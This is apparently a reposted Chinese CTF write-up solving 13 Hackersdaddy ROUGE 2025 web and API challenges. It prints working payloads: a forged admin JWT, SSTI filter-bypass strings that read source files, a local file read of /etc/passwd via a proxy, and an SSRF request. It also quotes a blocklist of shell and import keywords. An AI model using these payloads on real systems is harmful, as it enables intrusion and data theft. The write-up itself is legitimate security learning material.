当前位置: 首页 > news >正文

Hackersdaddy ROUGE CTF 2025 完整解题记录

Hackersdaddy ROUGE CTF 2025 — 完整解题记录

本周末,我参加了Hackersdaddy CTF 2025,这是一次令人难以置信的经历。我解决了全部13个挑战,获得2180分,总体排名第3——与第1名和第2名得分相同。

这次CTF包含了Web、OSINT和API利用的很好组合,每个挑战都突出了现实世界的安全漏洞。在这篇文章中,我整理了所有13个挑战的解题记录,详细分解了思考过程、方法和最终解决方案。

挑战1 — Warm up

类别: Recon / OSINT
难度: 非常简单
摘要: 一个简单的热身挑战,引导到一个包含奇怪符号字符串的Discord频道。识别出Brainfuck模式后快速解码并恢复flag。

方法
我跟随挑战中提供的链接加入/探索了Discord频道。在浏览频道描述和消息时,我发现了一个长的、奇怪的字符序列。该模式看起来像Brainfuck——一种极简的深奥语言——所以我将其视为Brainfuck处理。

步骤:

  • 从频道复制符号序列
  • 通过Brainfuck解释器运行
  • 读取解码输出以提取flag

Payload (Brainfuck)

++++++++++[>+++++++>+++++++>++++++++>++++++++>+++++++++>+++++++>+++++++>++++++++++++>++++++++++++>+++++++>+++++++++++>+++++++>+++++++++++>++++++++>++++++++++>++++++++++>+++++++>+++++++++++>+++++++++++>++++++++++>++++++++++>+++++++++>+++++>++++++++++++>++++++++++>+++++++>+++++++++++>+++++++>++++++++++>+++++++>+++++>+++++++++++>+++++++>+++++++++++++<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>++.>--.>++.>-.>-----.>+.>-.>+++.>-.>-.>--.>---.>+.>---.>+.>-----.>+.>--.>-----.>.>-----.>-.>--.>---.>-----.>++.>++++.>-.>-----.>++.>+.>++++.>-.>-----.

解决方案
将上述Brainfuck程序提供给解释器产生了包含flag的字符串。

Flag: HDROUGE{wElCoMe_GlAd_Y0u_4rE_H3rE}

挑战2 — Looking for something?

类别: OSINT
难度: 非常简单
摘要: 一个OSINT挑战,暗示Hackersdaddy团队中的某个人隐藏了一个秘密。检查LinkedIn/个人资料/网站导致在最近帖子的评论中找到隐藏的flag。

方法
跟随有人在Hackersdaddy团队隐藏秘密的提示。检查了LinkedIn个人资料、网站和最近帖子。在用户对最近帖子的评论中找到了flag。

解决方案
定位包含flag的Instagram评论。

Flag: HDROUGE{InStA_G3t_ThE_Fl4g_HeRe}

挑战3 — GlassX — 1

类别: Web / Recon
难度: 简单
摘要: 网站暗示了XSS挑战(GlassX)。虽然GlassX — 2专注于XSS,但GlassX — 1很简单——flag隐藏在robots.txt中。

方法
访问了网站https://glassx.vulnnet.com/并检查了常见发现文件。在robots.txt文件中找到flag并提交。

解决方案
检查robots.txt并提取flag。

Flag: HDROUGE{0b5cur3d_1n_r0b0ts}

挑战4 — GlassX — 2

类别: Web / 访问控制
难度: 中等(感觉更难)
摘要: 旨在作为https://glassx.vulnnet.com/flag的管理员专用flag。在尝试各种payload利用漏洞后,我最终在管理员发布的帖子中找到了flag引用,并用它解决了挑战。

方法
我专注于针对GlassX站点(https://glassx.vulnnet.com/)的XSS payload,并尝试了各种脚本来利用<script>注入点。挑战环境不稳定,在测试期间由于payload、弹出窗口和重定向多次中断。经过长时间的故障排除和使用Burp拦截流量后,我发现了一个管理员发布flag的帖子。

解决方案
在管理员的帖子中找到flag引用并提交。

Flag: HDROUGE{cl34r_gl4ss_bl1nd3d_m3}

挑战5 — Shadows of the Nation

类别: API
难度: 中等
摘要: 一个基于API的挑战,其中未经身份验证或授权不足访问用户配置文件端点以纯JSON形式暴露管理员帐户详细信息——管理员bio包含flag。

方法
测试了用户范围的API端点,并检查响应的信息泄露。注意到端点(如/api/user/{id}(公开可访问))上的授权不一致,而其他端点如/api/user/1/favourites保护不一致。

通过直接请求管理员配置文件重现问题。

示例重现命令:

curl -s https://rouge-nation.vulnnet.com/api/user/1

返回的JSON包括包含flag的管理员bio。

解决方案
从未经身份验证的/api/user/1端点检索管理员bio并提取flag。

Flag: HDROUGE{4a525a0ec67f77ac14a1b8ab49adfe69}

挑战6 — The Token

类别: JWT / 身份验证
难度: 中等
摘要: 泄露的客户端提示揭示了JWT密钥。我用HS256伪造了一个管理员令牌(id=2),并用它查询API,返回了flag。

方法(确切步骤)

  • 以普通用户身份登录;服务器返回令牌cookie(JWT)
  • 检查仪表板HTML并找到客户端提示:<!-- Hint: id: 2, role: admin, exp: 9999999999, superweakjwtsecret -->
  • 观察普通帐户的/api/user输出:
{"bio": "hi","id": 29,"role": "user","username": "a"
}
  • 使用泄露的密钥和HS256伪造管理员令牌(id=2)。使用的令牌:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.sNchVGd_B54r4LwU18TPCBMExPAea2mgyXdLpf4B-gQ
  • 使用id=1和id=2的令牌查询/api/user,并接收管理员用户对象:
{ "bio": "CTF admin of the dark net.", "id": 1, "role": "admin", "username": "vulnnet" }
{ "bio": "CTF administrator and movie buff.", "id": 2, "role": "admin", "username": "admin2" }
  • 使用id=0伪造令牌。查询/api/user返回500内部服务器错误:TypeError: 'NoneType' object is not iterable
  • 使用管理员令牌(id=2)针对/api/2获取flag,使用下面的确切命令并在JSON响应中接收flag。

重现(使用的确切命令)

curl -s -b "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.sNchVGd_B54r4LwU18TPCBMExPAea2mgyXdLpf4B-gQ" \https://jwt.vulnnet.com/api/2

响应包含:

{"flag": "HDROUGE{JWT_TOKEN_R0TATE_P0WN3D}"
}

Flag: HDROUGE{JWT_TOKEN_R0TATE_P0WN3D}

挑战7 — THE Nexus

类别: GraphQL / API
难度: 中等
摘要: 通过站点类别找到GraphQL端点。完整内省被阻止,但部分类型内省(__type(name:"User"))揭示了User类型上的flag字段。查询管理员用户(id:1)以检索flag。

方法
从有效会话cookie开始:

Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiYSJ9.aNfbfg.xelK52vlnMJ4ui_VJeSW4QbbUAw

访问仪表板和类别端点。Hacking类别揭示了GraphQL端点:

GET /category/hacking HTTP/1.1
Host: graphql.vulnnet.com
Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiYSJ9.aNfbfg.xelK52vlnMJ4ui_VJeSW4QbbUAw

响应(摘录):

[{"note": "GraphQL endpoint available at /graphql"}
]

测试GraphQL端点进行内省:

curl -X POST https://graphql.vulnnet.com/graphql \-H "Content-Type: application/json" \-H "Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiYSJ9.aNfbfg.xelK52vlnMJ4ui_VJeSW4QbbUAw" \-d '{"query":"query { __schema { types { name } } }"}'

响应:

{"error":"Introspection not allowed for non-admins"}

通过尝试常见查询执行字段枚举。users查询成功并返回多个用户包括管理员:

请求(GraphQL):

query { users { id username email role } }

响应(摘录):

{"users": [{ "email": "admin@ctf.local", "id": 1, "role": "admin", "username": "vulnnet" },{ "email": "ghost@example.com", "id": 2, "role": "user", "username": "ghost" }// ...]
}

使用部分类型内省发现User上的字段:

请求(GraphQL):

query { __type(name:"User") { name fields { name type { name kind ofType { name kind } } } } 
}

响应(摘录):

{"__type": {"name": "User","fields": [{ "name": "id", "type": { "kind":"SCALAR","name":"Int" } },{ "name": "username", "type": { "kind":"SCALAR","name":"String" } },{ "name": "email", "type": { "kind":"SCALAR","name":"String" } },{ "name": "role", "type": { "kind":"SCALAR","name":"String" } },{ "name": "flag", "type": { "kind":"SCALAR","name":"String" } }]}
}

关键发现: User类型暴露flag字段。

查询管理员用户(id:1)的flag字段:

最终请求:

curl -X POST "https://graphql.vulnnet.com/graphql" \-H "Content-Type: application/json" \-H "Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoiYSJ9.aNfbfg.xelK52vlnMJ4ui_VJeSW4QbbUAw" \-d '{"query":"query { user(id:1) { id username email role flag } }"}'

最终响应:

{"user": {"email": "admin@ctf.local","flag": "HDROUGE{1ntr0sp3ct10n_r3v34ls_4ll}","id": 1,"role": "admin","username": "vulnnet"}
}

Flag: HDROUGE{1ntr0sp3ct10n_r3v34ls_4ll}

挑战8 — Rouge Portal

类别: SSTI / 远程代码执行
难度: 中等
摘要: 利用了Flask应用程序中的服务器端模板注入,该应用程序评估f字符串/自定义模板语法。使用字符串连接和Python对象内省绕过关键字过滤器,读取app.py并检索flag。

方法
目标: https://rougeportal.vulnnet.com/
目标: 找到"红门"后面的隐藏flag

步骤1 — 初始侦察
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand=id

响应

<strong>Output:</strong><br />id

应用程序回显输入,表明过滤/模板化。

步骤2 — 测试模板注入
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand=${7*7}

响应

<strong>Output:</strong><br />$49

表达式被评估——确认了带有${}语法的SSTI。

步骤3 — 枚举Python对象模型
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand=${().__class__.__bases__[0].__subclasses__()}

响应

<strong>Output:</strong><br />$[<class 'type'>, <class 'async_generator'>, ... (Python类长列表)]

检索运行时Python类。

步骤4 — 发现自定义模板语法
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand={7*7}

响应

<strong>Output:</strong><br />49

发现应用程序也评估{}表达式。

步骤5 — 检查模板上下文
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand={__builtins__.dir()}

响应

<strong>Output:</strong><br />['blocked_patterns', 'content']

找到模板上下文变量包括blocked_patterns。

步骤6 — 揭示被阻止的模式
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand={blocked_patterns}

响应

<strong>Output:</strong><br />['__import__', 'import', 'os.', 'subprocess.', 'eval', 'exec', 'open(', 'file(', 'compile', 'bytes', 'chr', 'ord', 'system', 'popen', 'run', 'call', 'check_output', 'flag', 'secret', 'cat ', 'bash', 'sh', 'zsh']

获得完整的关键字/模式阻止列表。

步骤7 — 绕过过滤器并列出目录
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand=${getattr(__builtins__,'__imp''ort__')('o''s').listdir('.')}

响应

<strong>Output:</strong><br />$['secret', 'start.sh', 'static', 'Dockerfile', 'templates', 'requirements.txt', 'creds.txt', 'app.py', 'docker-compose.yml', 'restricted_shell.py']

获得目录列表;存在app.py和secret。

步骤8 — 读取应用程序源代码并捕获flag
请求

POST /submit HTTP/1.1
Host: rougeportal.vulnnet.com
Content-Type: application/x-www-form-urlencodedcommand=${getattr(__builtins__,'op''en')('app''.py').read()}

输出

$from flask import Flask, request, render_template, send_from_directory
import osapp = Flask(__name__)
FLAG = "HDROUGE{r3m0t3_3x3cuti0n_d0minat3d}"
... (完整应用程序代码)

app.py包含flag。

Flag: HDROUGE{r3m0t3_3x3cuti0n_d0minat3d}

挑战9 — Service Hustle

类别: Web / SSTI / IDOR
难度: 中等
摘要: 一个允许提供商注册的市场应用程序。枚举揭示了隐藏的工作资源(IDOR)。真正的突破是投标消息字段中的SSTI——渲染{{config}}暴露了Flask配置包括flag。

方法
目标: https://service-hustle.vulnnet.com/
目标: 找到隐藏flag

步骤1 — 注册为提供商
请求

curl -X POST https://service-hustle.vulnnet.com/auth/register \-d "name=test&email=test@gmail.com&password=test&role=provider"

观察: 仅允许提供商角色注册;其他角色被阻止,显示"Only provider registration is allowed."

步骤2 — 浏览仪表板/枚举工作
登录后,提供商仪表板暴露了可访问的工作端点,如/api/jobs/1到/api/jobs/8。直接访问更高的工作ID(例如/api/jobs/9)返回数据——表明存在IDOR(不安全的直接对象引用),其中存在隐藏工作但某些操作受限制。

步骤3 — 测试常见攻击向量
SQLi尝试(已清理)

curl -X POST https://service-hustle.vulnnet.com/auth/login \-d "email=admin' OR '1'='1&password=anything"

响应: "Bad credentials"——正确清理。

端点枚举:/api/users、/api/admin、/api/flag返回404。客户端点(例如/customer/dashboard)不可访问。注册期间的参数污染未能覆盖角色。

步骤4 — 测试投标消息中的SSTI
请求

curl -X POST https://service-hustle.vulnnet.com/api/jobs/2/bids \-b "session=VALID_SESSION_TOKEN" \-d "amount=10&eta_minutes=1&message={{config}}"

响应(渲染的投标消息):

<渲染输出包含Flask配置>
Database URI: sqlite:////app/app.db
FLAG: HDROUGE{SSTI_T0ken_H1jack2Flag_42af9d}
Secret key: dev-secret-change-me
... (其他配置值)

{{config}} payload在服务器上执行并打印应用程序配置对象,暴露flag。

Flag: HDROUGE{SSTI_T0ken_H1jack2Flag_42af9d}

挑战10 — CineVault

类别: Web / 本地文件读取(LFR)
难度: 中等
摘要: CineVault是一个电影票务应用程序,具有多个端点。在检查应用程序的许多区域后,我终于到达了一个最初未使用的配置文件功能——使用其媒体/代理功能我能够读取本地文件并从应用程序源代码恢复flag。

方法
目标: https://cinevault.vulnnet.com/
目标: 通过应用程序定位敏感文件或flag

步骤1 — 测试媒体代理的外部获取
请求

curl -v "https://cinevault.vulnnet.com/media/proxy?url=https://example.com/"

响应(摘录)

<!doctype html>
<html>
<head><title>Example Domain</title>...</head>
<body><h1>Example Domain</h1>...</body>
</html>

确认代理获取并返回外部资源。

步骤2 — 通过file://方案测试本地文件读取
请求

curl -v "https://cinevault.vulnnet.com/media/proxy?url=file:///etc/passwd"

响应(摘录)

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

端点允许本地文件读取。

步骤3 — 枚举可能的应用程序文件
请求

curl "https://cinevault.vulnnet.com/media/proxy?url=file:///app/app.py"
curl "https://cinevault.vulnnet.com/media/proxy?url=file:///var/www/html/app.py"
curl "https://cinevault.vulnnet.com/media/proxy?url=file:///home/ctf/flag"

响应(摘录)

  • /app/app.py返回应用程序源代码(完整文件)
  • /var/www/html/app.py返回源代码(如果存在)
  • /home/ctf/flag返回404(未找到)

Flag: HDROUGE{CineVault_L3ak_SuP3ss10N_t0K3n_ByP455_eXpLO1T_M4ST3R_FL4G_2025}

挑战11 — App1 — Flag 1

类别: Web / 信息泄露
难度: 简单
摘要: 提交订阅请求暴露/确认了flag。

方法
请求

POST /subscribe.php HTTP/2
Host: ctfapp1.vulnnet.com
Content-Type: application/x-www-form-urlencodedname=test&email=test@test.com

Flag: HDROUGE{Act1ve_Inf0_4nd_Vuln3r4b1l1ty}

挑战12 — App1 — Flag 2

类别: Web / 枚举
难度: 简单
摘要: 在vbscripts路径下找到隐藏资源,导致包含flag的UUID命名页面。

方法

/vbscripts/updates-topic/typolight/cardinalauth

此路径揭示了资源标识符:

/12daa3f6-5990-403a-82ee-fbb7afb63110

可访问URL:

https://ctfapp1.vulnnet.com/12daa3f6-5990-403a-82ee-fbb7afb63110

Flag: HDROUGE{3num3r4t10n_1s_k3y}

挑战13 — SkyFrame

类别: SSRF(服务器端请求伪造)
难度: 简单/中等
摘要: 发现隐藏的开发人员获取端点(/sUp3r_S3cRet),该端点接受url参数并返回服务器端响应。使用此端点请求服务器自己的http://127.0.0.1:8000/flag.txt返回了flag。

方法
目标: http://54.169.182.220:8000
目标: 通过SSRF访问内部资源并检索flag

侦察 — 找到隐藏端点
检查主页和静态资产(public/static/app.js),其中包含开发人员提示。
访问/whoami并找到指向隐藏端点的HTML注释:
<!-- Try the hidden endpoint: /sUp3r_S3cRet -->

PoC请求(触发SSRF)
请求

curl -X POST "http://54.169.182.220:8000/sUp3r_S3cRet" \-d "url=http://127.0.0.1:8000/flag.txt"

观察响应

HDROUGE{SkyFrAmE_SeRvErSiDe_ReQ}

Flag: HDROUGE{SkyFrAmE_SeRvErSiDe_ReQ}

— — — — — — — — — — 结束 — — — — — — — — — —
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

http://www.hskmm.com/?act=detail&tid=23659

相关文章:

  • AI元人文系列:透明推理者——下一代大模型架构设计
  • 个人随笔
  • 实用指南:1、docker入门简介
  • 调试parlant的大模型配置,最终自己动手写了g4f的模块挂载 - 教程
  • PowerShell注意点
  • 太极 - MKT
  • 题解:P12410 「知りたくなかった、失うのなら」
  • unity面向组合开发二:EC的代码实践
  • 《咳咳,未来编程大师,顶尖程序员的第一条博客》
  • CSP-JF36
  • 超越炒作:使用Agentic AI构建系统架构
  • K个节点的组内逆序调整
  • 【任务】自然语言处理——情感分析 <上>
  • 文件目录
  • 【Azure App Service】Root CA on App Service
  • QOJ #8147. Math Exam 题解
  • 10.03模拟赛t3
  • 国庆梦熊集训做题记录
  • 文件的逻辑结构
  • python 肘部法则,判点聚类分为几类,K-means聚类分析
  • AT_abc315_f [ABC315F] Shortcuts
  • 紫外UV固化太阳光模拟器的原理 - 教程
  • 每日一题
  • P5709 【深基2.习6】Apples Prologue / 苹果和虫子
  • 问题表 - microsoft
  • Leetcode 736. Lisp 语法解析
  • Day10.1
  • SolarWinds Web Help Desk远程代码执行漏洞分析
  • Aria2安装
  • 正则表达式学习